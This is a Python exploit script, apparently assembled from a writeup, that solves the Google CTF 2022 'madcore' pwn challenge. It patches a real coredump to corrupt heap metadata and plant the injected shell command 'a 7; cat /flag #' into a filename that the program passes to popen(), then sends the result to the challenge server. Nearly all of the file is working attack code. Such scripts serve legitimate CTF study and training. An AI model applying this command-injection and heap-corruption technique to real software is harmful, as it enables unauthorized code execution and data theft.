#!/usr/bin/env python3
"""Google CTF 2022 — pwn/madcore.

Assembled from the python blocks of the writeup:
_posts/2022-07-15-Google-Capture-The-Flag-2022-madcore-pwn.md

madcore reads exactly 0x1000000 bytes of a coredump on stdin, parses it, and
prints a JSON backtrace symbolized through popen() — so a Binary::fileName we
control becomes a shell command. Everything below patches a REAL coredump
produced by the challenge's own crashing binary; it is not generated from
nothing:

    $ ulimit -c unlimited
    $ ./test                      # *** stack smashing detected ***
    $ ./exploit.py CORE=crash/core.1001.14162.1657865437 [REMOTE]

Every offset in the OFFSETS block is specific to that coredump. The writeup
found each one with a breakpoint rather than by parsing ELF, and says so:
"probably this is not 100% working solution, but worked for me". Re-derive
them for a coredump of your own.
"""

from pwn import *

HOST, PORT = "madcore.2022.ctfcompetition.com", 1337
BINARY = "./madcore"

# madcore's read loop: `while (size != 0) { read(0, temp_buffer, size); ... }`
# It stops at 0 bytes remaining, so the input must be exactly this long.
size = 0x1000000

# --- offsets ---------------------------------------------------------------
# The elf64_note size that decides the filename-chunk layout. At 0xd68 lies
# the address the RSI register pointed at; the size itself is the qword at
# 0xd7c, `1f 00 00 00` in the untouched dump.
NOTE_SIZE_OFFSET = 0xD7C
# Huge, so `if (size <= index)` never allocates the filename chunks and the
# Backtrace object lands directly after our buffer.
NOTE_SIZE_VALUE = 0x2000000000000020

# The program headers precede the notes. Clearing the low bit of every
# p_flags == 5 (R+X) makes Binary::IsExecutable() false everywhere, which is
# what keeps Backtrace::PushModule() from being called at all.
PHDR_REGION_END = 0xD68

# The top chunk size the huge note size corrupts. 0xc141 is what the heap
# showed after Corefile::ParseNtFile(); 0xc8d1 is the size malloc() expects,
# and without the fix the next allocation dies with "corrupted top size".
TOP_CHUNK_SIZE_OLD = 0xC141
TOP_CHUNK_SIZE_NEW = 0xC8D1

# Backtrace::frameCount sits 0x18 * 0x3 == 0x48 past the top chunk size, and
# reads 0x742f6572 unpatched — large enough that the Symbolicate() loop runs
# off the end of the fake frames and crashes before printing the JSON.
FRAME_COUNT_STRIDE = 0x48
FRAME_COUNT_VALUE = 0xD

# The 64 'A's the crashing test binary left in the coredump. They land at
# core offset 0x40010, which is where the first fake CallFrame's
# Binary::fileName is read from — R14 (registers[1]) already pointed at
# 0x40000 in this coredump, so nothing has to be planted to reach it.
FILENAME_MARKER = b"A" * 64
COMMAND = b"a 7; cat /flag #"


def patch_note_size(data):
    """Grow the note size so the Backtrace object is adjacent to our buffer."""
    data[NOTE_SIZE_OFFSET:NOTE_SIZE_OFFSET + 8] = p64(NOTE_SIZE_VALUE)


def clear_exec_flags(data):
    """p_flags 5 -> 4 for every program header: no module is executable."""
    header = bytes(data[:PHDR_REGION_END])
    log.info(f"clearing {header.count(p32(5))} executable program headers")
    data[:PHDR_REGION_END] = header.replace(p32(5), p32(4))


def patch_top_chunk_size(data):
    """Restore the top chunk size the oversized note walked over."""
    offset = data.index(p64(TOP_CHUNK_SIZE_OLD), NOTE_SIZE_OFFSET)
    data[offset:offset + 8] = p64(TOP_CHUNK_SIZE_NEW)
    return offset


def patch_frame_count(data, top_chunk_offset):
    """Stop Symbolicate() right after our fake CallFrame."""
    offset = top_chunk_offset + FRAME_COUNT_STRIDE
    data[offset:offset + 4] = p32(FRAME_COUNT_VALUE)


def plant_command(data):
    """Turn Binary::fileName into the argument of madcore's popen()."""
    payload = COMMAND.ljust(len(FILENAME_MARKER), b"a")
    data[:] = data.replace(FILENAME_MARKER, payload)


def build(path):
    with open(path, "rb") as coredump:
        data = bytearray(coredump.read())

    patch_note_size(data)
    clear_exec_flags(data)
    patch_frame_count(data, patch_top_chunk_size(data))
    plant_command(data)
    return data


def connect():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(BINARY)


def main():
    data = build(args.CORE)

    io = connect()
    data_len = len(data)
    assert data_len < size
    log.info(f"len: {data_len}")
    io.send(data)
    io.send(b"\x00" * (size - data_len))
    io.recvuntil(b"FINISHED READING.\n", drop=True)
    io.interactive()


if __name__ == "__main__":
    main()
